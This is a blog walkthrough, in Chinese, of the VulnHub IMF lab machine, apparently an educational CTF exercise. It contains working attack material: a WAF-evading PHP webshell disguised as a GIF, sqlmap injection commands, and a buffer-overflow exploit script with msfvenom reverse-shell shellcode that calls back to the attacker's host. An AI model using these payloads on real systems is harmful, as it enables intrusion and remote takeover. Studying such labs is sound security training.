vulnhub-IMF

www.vulnhub.com/entry/imf-1,162/

kali  192.168.10.7
靶机 192.168.10.10

nmap -sV -A -O -p- 192.168.10.10

Nmap scan report for 192.168.10.10
Host is up (0.0020s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: IMF - Homepage
MAC Address: 08:00:27:90:CE:B3 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   1.96 ms 192.168.10.10

base64解码得 allthefiles

此处base64解码得

访问页面 http://192.168.10.10/imfadministrator/

硬编码,无法sql注入

尝试登录,发现会显示错误原因是用户名还是密码

在此页面有一些用户,可获取用户名信息。
cewl工具用于从网页提取字符串:cewl http://192.168.10.10/contact.php

尝试得知 rmichaels 账户存在

绕过php密码校验

此处登录页面底层使用strcmp进行密码校验

代码审计之弱类型绕过 - At的小站 (atkx.top)  http://atkx.top/2020/11/04/代码审计之弱类型绕过/#2-strcmp比较字符串

将pass参数更改为数组类型:

flag3{Y29udGludWVUT2Ntcw==} 进行base64解码得 continueTOcms

进入下一个页面:

SQL注入

此页面存在sql注入漏洞

从bp种复制http请求到文本文件,使用 sqlmap -r req.txt测试


sqlmap -r tmp.txt -D admin --tables --dump

sqlmap -r tmp.txt --users

通过数据库可得新路径:

扫描得 flag4{dXBsb2Fkcjk0Mi5waHA=}base64解码得 uploadr942.php

文件上传,WAF绕过

上传php反弹shell脚本

上传webshell:1.gif

GIF89a
<?php 
// 文件头部的 GIF89a 用于绕过WAF,使其误认为此文件为GIF文件
$cmd=$_GET['cmd']; echo `$cmd` ?>

也可将文件重命名为jpg,文件头部增加jpg文件头: FFD8FFE0要以二进制形式添加 echo 'FFD8DDe1' | xxd -r -p > test1.jpg

 成功上传后:

 

windows下这时可以使用菜刀、蚁剑等工具连接
Linux下可以使用 weevely 此工具会给php木马编码变形,绕过waf
也可使用msf

访问 http://192.168.10.10/imfadministrator/uploads/5d9fd974de30.gif?cmd=ls%26cat%20flag5_abc123def.txt

base64解码得 agentservices

 如何知道文件上传得路径?

看他人得教程才得知,我也想不通,完全没有提示。靠猜?

得到webshell后可使用 php-reverse-shell.php 和 nc -lp 反弹shell

根据flag5的提示,使用 find 查找 agent 文件

$ find / -name agent  2>/dev/null    
/usr/local/bin/agent    # elf32
/etc/xinetd.d/agent     # txt

可见agent是一个代理服务,使用root权限执行,如果存在漏洞则可以提权。

在 /usr/local/bin 目录下还有一个文件

暗示knock服务,进行端口碰撞 knock 192.168.10.10 7482 8279 9467。再用nmap扫描,发现7788端口打开

pwn

流程:

  1. 找到注入点
  2. 生成shellcode
  3. 注入shellcode

在kali上分析agent文件。使用 ltrace 追踪系统调用

校验id为 48093572

可见可能存在缓冲区溢出漏洞

经过尝试,选项3种存在缓冲区溢出

# 生成200位有序字符
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
# Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag


python -c "print('A'*168+'B'*4)"
# AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

 

解析错误点,判断偏移量

在第168位之后存在pwd,在此处编写shellcode

查看靶机是否启用了ASLR防止缓冲区溢出:sysctl -a --pattern randomize 输出 kernel.randomize_va_space = 2(0 不随机,1 半随机,2 全随机)表示开启

在gdb中输入 checksec 检查软件是否有保护机制

查找坏字符

for i in range(256):
    if i == 0x00 or i == 0x0a or i == 0x0b:
        continue
    print("\\x{:02x}".format(i), end='')
print()

r $(python -c 'print "A"*缓冲区长度 + "4字节长度,填充EIP" + "这个位置用于放入shellcode,如果存在坏字符,会将后面得字符截断"')

x/256x $esp  # 查看esp指向得栈内存中得输入数据是否从某一处开始被截断,起到终止符效果的就是坏字符

生成shellcode

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.10.7 LPORT=6666 -f python -b "\x00\x0a\x0b"
# 参数:
# -a 框架选择
# -p 载荷类型
# LHOST
# LPORT
# -b 坏字符
# -e 要使用的编码器
# -f 编译语言
# -c 指定要包含的附加
# -v 载荷名称

查找跳转到eax指向地址的语法 "\x63\x85\x04\x08"

$ jmpcall eax
0x8048563 : call eax

$ asmsearch "jmp eax"
Searching for ASM code: 'jmp eax' in: binary ranges
0x0804845b : (e9e0)     jmp    0x8048440
0x0804862d : (45e0)     inc    ebp;     loopne 0x8048680 <main+133>
0x080486ae : (45e0)     inc    ebp;     loopne 0x8048634 <main+57>
0x080487a7 : (68e0)     push   0x8048ae0

$ asmsearch "call eax"
Searching for ASM code: 'call eax' in: binary ranges
0x0804846b : (e9d0)     jmp    0x8048440
0x0804850b : (68d0)     push   0x80489d0
0x08048563 : (ffd0)     call   eax
0x08048582 : (01d0)     add    eax,edx
0x08048ea7 : (00d0)     add    al,dl

执行相应代码,输入shellcode并执行:

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.10.10',7788))                          # 连接靶机的agent服务
s.recv(512)
s.send("48093572\n".encode())                              # 验证
s.recv(512)
s.send("3\n".encode())                                     # 选择选项

# 生成的shellcode
buf =  b""
buf += b"\xda\xc9\xd9\x74\x24\xf4\x5a\xb8\xc1\xd5\x23\x27"
buf += b"\x29\xc9\xb1\x12\x31\x42\x17\x83\xc2\x04\x03\x83"
buf += b"\xc6\xc1\xd2\x32\x32\xf2\xfe\x67\x87\xae\x6a\x85"
buf += b"\x8e\xb0\xdb\xef\x5d\xb2\x8f\xb6\xed\x8c\x62\xc8"
buf += b"\x47\x8a\x85\xa0\x97\xc4\x7c\x37\x70\x17\x81\x2d"
buf += b"\x8a\x9e\x60\xe1\xec\xf0\x33\x52\x42\xf3\x3a\xb5"
buf += b"\x69\x74\x6e\x5d\x1c\x5a\xfc\xf5\x88\x8b\x2d\x67"
buf += b"\x20\x5d\xd2\x35\xe1\xd4\xf4\x09\x0e\x2a\x76"
# 生成的shellcode到此为止

buf += b"A"*(168-len(buf))     # 填充空隙
buf += b"\x63\x85\x04\x08\n"   # 写入EIP接下来将要指向的地址,内容为`call eax`,eax存储的地址指向shellcode
s.send(buf)

此shellcode反弹shell到指定ip端口

二进制文件分析

  1. 查看main的汇编:
  2. 在 0x080486ba 添加断点:break *0x080486ba
  3. 查看寄存器 info registers
  4. 执行程序,停在断点
    # 在断点处停止时的输出
    [----------------------------------registers-----------------------------------]
    EAX: 0xffffd05e ("01234567")
    EBX: 0xf7e1cff4 --> 0x21cd8c 
    ECX: 0xffffd066 --> 0x1b40f700 
    EDX: 0xf7e1e9c4 --> 0x0 
    ESI: 0x8048970 (<__libc_csu_init>:      push   ebp)
    EDI: 0xf7ffcb80 --> 0x0 
    EBP: 0xffffd078 --> 0x0 
    ESP: 0xffffd040 --> 0xffffd05e ("01234567")
    EIP: 0x80486ba (<main+191>:     call   0x80484e0 <strncmp@plt>)
    EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0x80486b5 <main+186>:        push   eax
       0x80486b6 <main+187>:        lea    eax,[ebp-0x1a]
       0x80486b9 <main+190>:        push   eax
    => 0x80486ba <main+191>:        call   0x80484e0 <strncmp@plt>
       0x80486bf <main+196>:        add    esp,0x10
       0x80486c2 <main+199>:        test   eax,eax
       0x80486c4 <main+201>:        je     0x80486dd <main+226>
       0x80486c6 <main+203>:        sub    esp,0xc
    Guessed arguments:
    arg[0]: 0xffffd05e ("01234567")
    arg[1]: 0x804c210 ("48093572")
    arg[2]: 0x8 
    [------------------------------------stack-------------------------------------]
    0000| 0xffffd040 --> 0xffffd05e ("01234567")
    0004| 0xffffd044 --> 0x804c210 ("48093572")
    0008| 0xffffd048 --> 0x8 
    0012| 0xffffd04c --> 0xf7e1d048 --> 0xf7fe01e0 (<_dl_audit_preinit>:    push   ebp)
    0016| 0xffffd050 --> 0xf7fc14a0 --> 0xf7c00000 --> 0x464c457f 
    0020| 0xffffd054 --> 0xf7fd98cb (<_dl_fixup+235>:       mov    edi,eax)
    0024| 0xffffd058 --> 0x804c210 ("48093572")
    0028| 0xffffd05c --> 0x313014a0 
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    
    Breakpoint 1, 0x080486ba in main ()
    
    # 查看寄存器
    gdb-peda$ info registers 
    eax            0xffffd05e          0xffffd05e
    ecx            0xffffd066          0xffffd066
    edx            0xf7e1e9c4          0xf7e1e9c4
    ebx            0xf7e1cff4          0xf7e1cff4
    esp            0xffffd040          0xffffd040  # 此处存储的是当前栈帧中地址较小的一端地址
    ebp            0xffffd078          0xffffd078
    esi            0x8048970           0x8048970
    edi            0xf7ffcb80          0xf7ffcb80
    eip            0x80486ba           0x80486ba <main+191>
    eflags         0x292               [ AF SF IF ]
    cs             0x23                0x23
    ss             0x2b                0x2b
    ds             0x2b                0x2b
    es             0x2b                0x2b
    fs             0x0                 0x0
    gs             0x63                0x63
  5. 查看寄存器以及栈顶数据
    x/4xw $esp 可以查看栈顶4个word的数据,发现是4个地址。再分别查看每个地址的数据
    第一个指向输入数据,第二个指向真正的口令。
posted @ 2022-12-20 21:47  某某人8265  阅读(66)  评论(0编辑  收藏  举报